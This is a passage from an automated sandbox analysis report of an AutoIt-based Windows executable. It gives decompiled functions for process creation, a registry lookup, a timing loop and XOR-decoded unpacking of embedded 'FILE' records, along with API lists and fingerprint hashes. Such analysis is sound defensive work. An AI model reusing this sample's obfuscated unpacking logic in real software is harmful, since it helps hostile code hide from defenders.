								goto L16;
							}
							_t225 = E004112D5(_t224);
							_t334 = _t333 + 4;
							_t351 = _t225;
							if(_t351 != 0) {
								goto L17;
							}
							goto L16;
						}
					}
					_t274 =  *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 0x18));
					L9:
					_v76.wShowWindow = E0040C760(_t274);
					goto L10;
				}
			}






























































                                                                                                                                                                            0x00463f19
                                                                                                                                                                            0x00463f27
                                                                                                                                                                            0x00463f2d
                                                                                                                                                                            0x00463f35
                                                                                                                                                                            0x00463f3c
                                                                                                                                                                            0x00463f44
                                                                                                                                                                            0x00463f46
                                                                                                                                                                            0x00463f4e
                                                                                                                                                                            0x00463f59
                                                                                                                                                                            0x00463f61
                                                                                                                                                                            0x00463f65
                                                                                                                                                                            0x00463f69
                                                                                                                                                                            0x00463f6d
                                                                                                                                                                            0x00463f71
                                                                                                                                                                            0x00463f78
                                                                                                                                                                            0x00463fc4
                                                                                                                                                                            0x00463fc8
                                                                                                                                                                            0x00463fdd
                                                                                                                                                                            0x00463fe8
                                                                                                                                                                            0x00463fe8
                                                                                                                                                                            0x00463fed
                                                                                                                                                                            0x00463fed
                                                                                                                                                                            0x00463ff1
                                                                                                                                                                            0x00463ff5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00463ff7
                                                                                                                                                                            0x00463ffa
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00463ffa
                                                                                                                                                                            0x00463f7a
                                                                                                                                                                            0x00463f89
                                                                                                                                                                            0x00463f8d
                                                                                                                                                                            0x00463fa2
                                                                                                                                                                            0x00463fb2
                                                                                                                                                                            0x00463fb2
                                                                                                                                                                            0x00463fba
                                                                                                                                                                            0x0046400a
                                                                                                                                                                            0x0046400a
                                                                                                                                                                            0x00464010
                                                                                                                                                                            0x00464012
                                                                                                                                                                            0x00464012
                                                                                                                                                                            0x00464027
                                                                                                                                                                            0x0046402c
                                                                                                                                                                            0x0046402f
                                                                                                                                                                            0x00464176
                                                                                                                                                                            0x0046417a
                                                                                                                                                                            0x0046417e
                                                                                                                                                                            0x004641aa
                                                                                                                                                                            0x004641b4
                                                                                                                                                                            0x004641ba
                                                                                                                                                                            0x004641cb
                                                                                                                                                                            0x004641cc
                                                                                                                                                                            0x004641d1
                                                                                                                                                                            0x004641d6
                                                                                                                                                                            0x004641da
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004641da
                                                                                                                                                                            0x00464193
                                                                                                                                                                            0x00464195
                                                                                                                                                                            0x00464197
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046419a
                                                                                                                                                                            0x0046419f
                                                                                                                                                                            0x004641a2
                                                                                                                                                                            0x004641a4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464035
                                                                                                                                                                            0x00464038
                                                                                                                                                                            0x0046404f
                                                                                                                                                                            0x00464063
                                                                                                                                                                            0x00464075
                                                                                                                                                                            0x0046407a
                                                                                                                                                                            0x0046407e
                                                                                                                                                                            0x00464082
                                                                                                                                                                            0x004640ac
                                                                                                                                                                            0x004640b8
                                                                                                                                                                            0x004640bc
                                                                                                                                                                            0x004640cb
                                                                                                                                                                            0x004640cb
                                                                                                                                                                            0x004640cd
                                                                                                                                                                            0x004640ce
                                                                                                                                                                            0x004640d3
                                                                                                                                                                            0x004640d8
                                                                                                                                                                            0x004640dc
                                                                                                                                                                            0x004640de
                                                                                                                                                                            0x004640e8
                                                                                                                                                                            0x004640f3
                                                                                                                                                                            0x004640fe
                                                                                                                                                                            0x00464103
                                                                                                                                                                            0x00464107
                                                                                                                                                                            0x00464107
                                                                                                                                                                            0x0046410b
                                                                                                                                                                            0x0046410b
                                                                                                                                                                            0x00464115
                                                                                                                                                                            0x0046411a
                                                                                                                                                                            0x0046411c
                                                                                                                                                                            0x0046416f
                                                                                                                                                                            0x0046416f
                                                                                                                                                                            0x004641f3
                                                                                                                                                                            0x004641f7
                                                                                                                                                                            0x004642ca
                                                                                                                                                                            0x004642d0
                                                                                                                                                                            0x004642d2
                                                                                                                                                                            0x004642d2
                                                                                                                                                                            0x004642d2
                                                                                                                                                                            0x004642d5
                                                                                                                                                                            0x004642da
                                                                                                                                                                            0x004642e3
                                                                                                                                                                            0x004642ed
                                                                                                                                                                            0x00464345
                                                                                                                                                                            0x0046434c
                                                                                                                                                                            0x0046434e
                                                                                                                                                                            0x00464353
                                                                                                                                                                            0x0046435a
                                                                                                                                                                            0x00464368
                                                                                                                                                                            0x0046436c
                                                                                                                                                                            0x00464379
                                                                                                                                                                            0x00464380
                                                                                                                                                                            0x00464380
                                                                                                                                                                            0x00464385
                                                                                                                                                                            0x00464389
                                                                                                                                                                            0x004643b1
                                                                                                                                                                            0x004643b5
                                                                                                                                                                            0x004643b7
                                                                                                                                                                            0x004643b9
                                                                                                                                                                            0x004643b9
                                                                                                                                                                            0x004643bf
                                                                                                                                                                            0x004643c2
                                                                                                                                                                            0x004643c6
                                                                                                                                                                            0x004643d3
                                                                                                                                                                            0x004643d6
                                                                                                                                                                            0x004643dd
                                                                                                                                                                            0x004643e4
                                                                                                                                                                            0x004643eb
                                                                                                                                                                            0x004643f1
                                                                                                                                                                            0x0046438b
                                                                                                                                                                            0x00464392
                                                                                                                                                                            0x0046439d
                                                                                                                                                                            0x004643a2
                                                                                                                                                                            0x004643aa
                                                                                                                                                                            0x004643aa
                                                                                                                                                                            0x004642ef
                                                                                                                                                                            0x004642ef
                                                                                                                                                                            0x004642fd
                                                                                                                                                                            0x00464312
                                                                                                                                                                            0x00464317
                                                                                                                                                                            0x0046431a
                                                                                                                                                                            0x00464324
                                                                                                                                                                            0x0046432b
                                                                                                                                                                            0x00464331
                                                                                                                                                                            0x0046433e
                                                                                                                                                                            0x0046433e
                                                                                                                                                                            0x004642ed
                                                                                                                                                                            0x00464201
                                                                                                                                                                            0x00464213
                                                                                                                                                                            0x00464228
                                                                                                                                                                            0x0046422c
                                                                                                                                                                            0x00464231
                                                                                                                                                                            0x00464234
                                                                                                                                                                            0x00464238
                                                                                                                                                                            0x00464243
                                                                                                                                                                            0x00464244
                                                                                                                                                                            0x00464249
                                                                                                                                                                            0x0046424c
                                                                                                                                                                            0x00464250
                                                                                                                                                                            0x00464262
                                                                                                                                                                            0x00464267
                                                                                                                                                                            0x0046426c
                                                                                                                                                                            0x00464270
                                                                                                                                                                            0x00464275
                                                                                                                                                                            0x00464282
                                                                                                                                                                            0x00464283
                                                                                                                                                                            0x0046428c
                                                                                                                                                                            0x00464299
                                                                                                                                                                            0x0046429e
                                                                                                                                                                            0x004642a2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004642a2
                                                                                                                                                                            0x00464279
                                                                                                                                                                            0x00464279
                                                                                                                                                                            0x0046427c
                                                                                                                                                                            0x0046427d
                                                                                                                                                                            0x0046427d
                                                                                                                                                                            0x0046427d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464279
                                                                                                                                                                            0x00464259
                                                                                                                                                                            0x00464259
                                                                                                                                                                            0x0046425c
                                                                                                                                                                            0x0046425d
                                                                                                                                                                            0x0046425d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046423a
                                                                                                                                                                            0x0046423a
                                                                                                                                                                            0x0046423a
                                                                                                                                                                            0x0046423d
                                                                                                                                                                            0x0046423e
                                                                                                                                                                            0x0046423e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046423a
                                                                                                                                                                            0x00464123
                                                                                                                                                                            0x00464128
                                                                                                                                                                            0x0046412d
                                                                                                                                                                            0x00464134
                                                                                                                                                                            0x00464137
                                                                                                                                                                            0x00464139
                                                                                                                                                                            0x00464139
                                                                                                                                                                            0x00464143
                                                                                                                                                                            0x00464148
                                                                                                                                                                            0x00464152
                                                                                                                                                                            0x00464154
                                                                                                                                                                            0x00464154
                                                                                                                                                                            0x0046415e
                                                                                                                                                                            0x00464163
                                                                                                                                                                            0x0046416d
                                                                                                                                                                            0x004641e1
                                                                                                                                                                            0x004641e6
                                                                                                                                                                            0x004641e8
                                                                                                                                                                            0x004641e8
                                                                                                                                                                            0x004641e8
                                                                                                                                                                            0x004641e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046416d
                                                                                                                                                                            0x00464092
                                                                                                                                                                            0x00464097
                                                                                                                                                                            0x0046409d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004640a0
                                                                                                                                                                            0x004640a5
                                                                                                                                                                            0x004640a8
                                                                                                                                                                            0x004640aa
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004640aa
                                                                                                                                                                            0x0046402f
                                                                                                                                                                            0x00463fbf
                                                                                                                                                                            0x00463ffd
                                                                                                                                                                            0x00464002
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464002

                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 00463F35
                                                                                                                                                                            • _wcslen.LIBCMT ref: 004640A0
                                                                                                                                                                            • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 004640B6
                                                                                                                                                                            • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 004640DC
                                                                                                                                                                            • _wcslen.LIBCMT ref: 0046419A
                                                                                                                                                                            • GetCurrentDirectoryW.KERNEL32(00000000,00000000,?), ref: 004641B4
                                                                                                                                                                            • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 004641DA
                                                                                                                                                                            • _wcslen.LIBCMT ref: 0046422C
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00464244
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00464267
                                                                                                                                                                            • CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 004642CA
                                                                                                                                                                            • GetLastError.KERNEL32(00000000,00000001,00000000,?,?), ref: 00464304
                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?), ref: 0046434C
                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 004643DD
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen$Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                                                                                                                                            • String ID: D$HH
                                                                                                                                                                            • API String ID: 908184983-3550586394
                                                                                                                                                                            • Opcode ID: 00949c011ee4572a45fe0c50f3c03d316261feb199a04ccb77c94bdbd3c21db4
                                                                                                                                                                            • Instruction ID: fb727168ff3a635639fa9d56eabcb50e9dc6a5bc9d0fc25d7c440df2c68cb0fa
                                                                                                                                                                            • Opcode Fuzzy Hash: 00949c011ee4572a45fe0c50f3c03d316261feb199a04ccb77c94bdbd3c21db4
                                                                                                                                                                            • Instruction Fuzzy Hash: F1E1F1B15043419BD720EF75C845B5BB7E4AFC4308F104A2EF98987392EB39E945CB5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167registryCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            C-Code - Quality: 89%
                                                                                                                                                                            			E00410B90(void* __ecx, void* __edi, void* __eflags, void* _a4, signed int _a8, short _a10, short _a12, char _a536, char _a1060, char _a1576, intOrPtr _a132656) {
				int _v0;
				void* __ebx;
				intOrPtr _t50;
				intOrPtr _t57;
				signed int _t58;
				long _t62;
				long _t64;
				signed int _t68;
				signed int _t70;
				signed short _t71;
				intOrPtr _t72;
				signed int _t73;
				signed int _t77;
				intOrPtr _t87;
				intOrPtr _t88;
				intOrPtr _t95;
				intOrPtr _t96;
				signed int _t101;
				signed int _t105;
				signed short* _t111;
				void* _t113;
				void* _t115;
				void* _t117;
				void* _t118;

				_t118 = __eflags;
				_t109 = __edi;
				E00425210(0x2062c);
				_push(0x400);
				 *0x4a8e80 = 0;
				 *0x4a8e81 = 0;
				 *0x4a8e82 = 0;
				 *0x4a8e83 = 0;
				 *0x4a8e84 = _a132656;
				 *0x4a8e88 = 0;
				 *0x4a8e8c = 0;
				 *0x4a8e90 = 0;
				 *0x4a8e94 = 0;
				 *0x4a8e98 = 0x485238;
				 *0x4a8e9c = 0;
				 *0x4a8ea0 = 0;
				 *0x4a8ea4 = 0;
				 *0x4a8ea8 = 0x485238;
				 *0x4a8eac = 0;
				 *0x4a8eb0 = 0;
				 *0x4a8eb4 = 0;
				 *0x4a8ebc = 0;
				 *0x4a8ec4 = 0;
				 *0x4a8ec8 = 0x66; // executed
				_t50 = E0041171A(0, __edi, _t118); // executed
				 *0x4a8eb8 = _t50;
				GetModuleFileNameW(0,  &_a12, 0x104);
				E00413DB0( &_a12,  &_a1060,  &_a536, 0, 0);
				E00413DFC( &_a536, L"Include", 0x104);
				E00413E3C( &_a12,  &_a1060,  &_a536, 0, 0);
				_push(0x20a);
				_t57 = E0041171A(0, __edi, _t118);
				_t101 =  *0x4a8ebc; // 0x1
				_t87 =  *0x4a8eb8; // 0x2f06d30
				 *((intOrPtr*)(_t87 + _t101 * 4)) = _t57;
				_t58 =  *0x4a8ebc; // 0x1
				_t88 =  *0x4a8eb8; // 0x2f06d30
				 *0x4a8ebc = _t58 + 1;
				E00411691( *((intOrPtr*)(_t88 + _t58 * 4)),  &_a12);
				_t115 = _t113 + 0x44;
				_t62 = RegOpenKeyExW(0x80000001, L"Software\\AutoIt v3\\AutoIt", 0, 0x20019,  &_a4); // executed
				if(_t62 == 0) {
					_v0 = 0x1fffe;
					_t64 = RegQueryValueExW(_a4, L"Include", 0, 0,  &_a1576,  &_v0);
					__eflags = _t64;
					if(_t64 != 0) {
						L13:
						RegCloseKey(_a4);
						goto L1;
					}
					_t68 = _v0 >> 1;
					 *((short*)(_t115 + 0x62c + _t68 * 2)) = 0;
					_v0 = _t68;
					 *((short*)(_t115 + 0x62e + _t68 * 2)) = 0;
					__eflags = 0;
					_a12 = 0;
					_t111 =  &_a1576;
					while(1) {
						_t70 =  *_t111 & 0x0000ffff;
						_a8 = _t70;
						_a10 = 0;
						__eflags = _t70;
						if(_t70 == 0) {
							goto L8;
						}
						__eflags = _t70 - 0x3b;
						if(_t70 == 0x3b) {
							goto L8;
						}
						E00411663( &_a12,  &_a8);
						_t115 = _t115 + 8;
						L7:
						_t111 =  &(_t111[1]);
						continue;
						L8:
						_t71 = E004112D5( &_a12);
						_t117 = _t115 + 4;
						__eflags = _t71;
						if(__eflags != 0) {
							_t77 = E004112D5( &_a12);
							_t117 = _t117 + 4;
							__eflags =  *((short*)(_t117 + 0x12 + _t77 * 2)) - 0x5c;
							if(__eflags != 0) {
								E00411663( &_a12, "\\");
								_t117 = _t117 + 8;
							}
						}
						_push(0x20a);
						_t72 = E0041171A(0, _t109, __eflags);
						_t105 =  *0x4a8ebc; // 0x1
						_t95 =  *0x4a8eb8; // 0x2f06d30
						 *((intOrPtr*)(_t95 + _t105 * 4)) = _t72;
						_t73 =  *0x4a8ebc; // 0x1
						_t96 =  *0x4a8eb8; // 0x2f06d30
						 *0x4a8ebc = _t73 + 1;
						E0041326A( *((intOrPtr*)(_t96 + _t73 * 4)),  &_a12, 0x104);
						_t115 = _t117 + 0x10;
						_a12 = 0;
						__eflags =  *_t111;
						if( *_t111 != 0) {
							goto L7;
						} else {
							goto L13;
						}
					}
				}
				L1:
				return 0x4a8e80;
			}



























                                                                                                                                                                            0x00410b90
                                                                                                                                                                            0x00410b90
                                                                                                                                                                            0x00410b95
                                                                                                                                                                            0x00410ba4
                                                                                                                                                                            0x00410ba9
                                                                                                                                                                            0x00410baf
                                                                                                                                                                            0x00410bb5
                                                                                                                                                                            0x00410bbb
                                                                                                                                                                            0x00410bc1
                                                                                                                                                                            0x00410bc6
                                                                                                                                                                            0x00410bcc
                                                                                                                                                                            0x00410bd2
                                                                                                                                                                            0x00410bd8
                                                                                                                                                                            0x00410bde
                                                                                                                                                                            0x00410be8
                                                                                                                                                                            0x00410bee
                                                                                                                                                                            0x00410bf4
                                                                                                                                                                            0x00410bfa
                                                                                                                                                                            0x00410c04
                                                                                                                                                                            0x00410c0a
                                                                                                                                                                            0x00410c10
                                                                                                                                                                            0x00410c16
                                                                                                                                                                            0x00410c1c
                                                                                                                                                                            0x00410c22
                                                                                                                                                                            0x00410c2c
                                                                                                                                                                            0x00410c3f
                                                                                                                                                                            0x00410c44
                                                                                                                                                                            0x00410c61
                                                                                                                                                                            0x00410c78
                                                                                                                                                                            0x00410c94
                                                                                                                                                                            0x00410c99
                                                                                                                                                                            0x00410c9e
                                                                                                                                                                            0x00410ca3
                                                                                                                                                                            0x00410ca9
                                                                                                                                                                            0x00410caf
                                                                                                                                                                            0x00410cb2
                                                                                                                                                                            0x00410cb7
                                                                                                                                                                            0x00410cc7
                                                                                                                                                                            0x00410ccc
                                                                                                                                                                            0x00410cd1
                                                                                                                                                                            0x00410ce9
                                                                                                                                                                            0x00410cf1
                                                                                                                                                                            0x00429bdc
                                                                                                                                                                            0x00429be4
                                                                                                                                                                            0x00429bea
                                                                                                                                                                            0x00429bec
                                                                                                                                                                            0x00429cd9
                                                                                                                                                                            0x00429cde
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00429cde
                                                                                                                                                                            0x00429bf6
                                                                                                                                                                            0x00429bfc
                                                                                                                                                                            0x00429c04
                                                                                                                                                                            0x00429c08
                                                                                                                                                                            0x00429c10
                                                                                                                                                                            0x00429c13
                                                                                                                                                                            0x00429c18
                                                                                                                                                                            0x00429c1f
                                                                                                                                                                            0x00429c1f
                                                                                                                                                                            0x00429c24
                                                                                                                                                                            0x00429c29
                                                                                                                                                                            0x00429c2e
                                                                                                                                                                            0x00429c31
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00429c33
                                                                                                                                                                            0x00429c37
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00429c43
                                                                                                                                                                            0x00429c48
                                                                                                                                                                            0x00429c4b
                                                                                                                                                                            0x00429c4b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00429c50
                                                                                                                                                                            0x00429c55
                                                                                                                                                                            0x00429c5a
                                                                                                                                                                            0x00429c5d
                                                                                                                                                                            0x00429c5f
                                                                                                                                                                            0x00429c66
                                                                                                                                                                            0x00429c6b
                                                                                                                                                                            0x00429c6e
                                                                                                                                                                            0x00429c74
                                                                                                                                                                            0x00429c80
                                                                                                                                                                            0x00429c85
                                                                                                                                                                            0x00429c85
                                                                                                                                                                            0x00429c74
                                                                                                                                                                            0x00429c88
                                                                                                                                                                            0x00429c8d
                                                                                                                                                                            0x00429c92
                                                                                                                                                                            0x00429c98
                                                                                                                                                                            0x00429c9e
                                                                                                                                                                            0x00429ca1
                                                                                                                                                                            0x00429ca6
                                                                                                                                                                            0x00429cbb
                                                                                                                                                                            0x00429cc0
                                                                                                                                                                            0x00429cc7
                                                                                                                                                                            0x00429cca
                                                                                                                                                                            0x00429ccf
                                                                                                                                                                            0x00429cd2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00429cd8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00429cd8
                                                                                                                                                                            0x00429cd2
                                                                                                                                                                            0x00429c1f
                                                                                                                                                                            0x00410cf7
                                                                                                                                                                            0x00410d03

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 00410C61
                                                                                                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                            • _wcsncat.LIBCMT ref: 00410C78
                                                                                                                                                                            • __wmakepath.LIBCMT ref: 00410C94
                                                                                                                                                                              • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 00410CCC
                                                                                                                                                                            • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                                                                                                                            • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                                                                                                                            • _wcscat.LIBCMT ref: 00429C43
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00429C55
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00429C66
                                                                                                                                                                            • _wcscat.LIBCMT ref: 00429C80
                                                                                                                                                                            • _wcsncpy.LIBCMT ref: 00429CC0
                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                            • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                                                                                                            • API String ID: 1004883554-2276155026
                                                                                                                                                                            • Opcode ID: 772615f8dc2d4ad813454e2af6730abd7c456deee3ec823a978f4699cbbe39f4
                                                                                                                                                                            • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                                                                                                                            • Opcode Fuzzy Hash: 772615f8dc2d4ad813454e2af6730abd7c456deee3ec823a978f4699cbbe39f4
                                                                                                                                                                            • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                              • Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                            • Sleep.KERNELBASE(0000000A), ref: 00409870
                                                                                                                                                                            • timeGetTime.WINMM ref: 00409880
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharSleepTimeUpper_wcslentime
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3219444185-0
                                                                                                                                                                            • Opcode ID: fe2e4d39573365178f527fca724e5f25c9b6369bf9c549f4dbfd21874e4267b7
                                                                                                                                                                            • Instruction ID: 03a7f49fb1e2d4a9a734ee4a54d3513b76137e648902fc120991470ee1d9a000
                                                                                                                                                                            • Opcode Fuzzy Hash: fe2e4d39573365178f527fca724e5f25c9b6369bf9c549f4dbfd21874e4267b7
                                                                                                                                                                            • Instruction Fuzzy Hash: 8122F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            C-Code - Quality: 82%
                                                                                                                                                                            			E004523CE() {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				void* _t48;
				void* _t50;
				signed int _t55;
				void* _t59;
				void* _t60;
				signed int _t78;
				signed int _t81;
				intOrPtr* _t84;
				short _t85;
				void* _t86;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t91;
				void* _t92;
				void* _t93;

				_t84 =  *((intOrPtr*)(_t86 + 0x440));
				_t85 = 0;
				_t94 = 0;
				while(1) {
					E004151B0(_t86 + 0x1c, 1, 4,  *_t84);
					_t87 = _t86 + 0x10;
					_push(0x18ee);
					E0044AFDC(_t86 + 0x1c, _t94, _t87 + 0x1c, 4);
					 *((char*)(_t87 + 0x20)) = 0;
					_t33 = E004151D0(_t87 + 0x14, "FILE");
					_t88 = _t87 + 8;
					_t95 = _t33;
					if(_t33 != 0) {
						break;
					}
					_t85 = _t85 + 1;
					E004151B0(_t88 + 0x18, 4, 1,  *_t84);
					_t78 =  *(_t88 + 0x20) ^ 0x0000adbc;
					_t59 = _t78 + _t78;
					E004151B0(_t88 + 0x38, 1, _t59,  *_t84);
					_t89 = _t88 + 0x20;
					_push(_t78 + 0xb33f);
					E0044AFDC(_t88 + 0x38, _t95, _t89 + 0x28, _t59);
					 *((short*)(_t89 + _t59 + 0x28)) = 0;
					E00411691(_t89 + 0x234, _t89 + 0x20);
					E004151B0(_t89 + 0x20, 4, 1,  *_t84);
					_t81 =  *(_t89 + 0x28) ^ 0x0000f820;
					_t60 = _t81 + _t81;
					E004151B0(_t89 + 0x40, 1, _t60,  *_t84);
					_t90 = _t89 + 0x28;
					_push(_t81 + 0xf479);
					E0044AFDC(_t90 + 0x28, _t95, _t90 + 0x28, _t60);
					 *((short*)(_t90 + _t60 + 0x28)) = 0;
					E00411691( *((intOrPtr*)(_t90 + 0x44c)), _t90 + 0x20);
					_t83 =  *((intOrPtr*)(_t90 + 0x450));
					_t75 = _t90 + 0x238;
					_t48 = E004133E4(_t90 + 0x238,  *((intOrPtr*)(_t90 + 0x450)));
					_t91 = _t90 + 0x10;
					if(_t48 == 0) {
						L6:
						__eflags = 0;
						return 0;
					} else {
						_t50 = E004133E4(_t83, "*");
						_t92 = _t91 + 8;
						if(_t50 != 0) {
							L5:
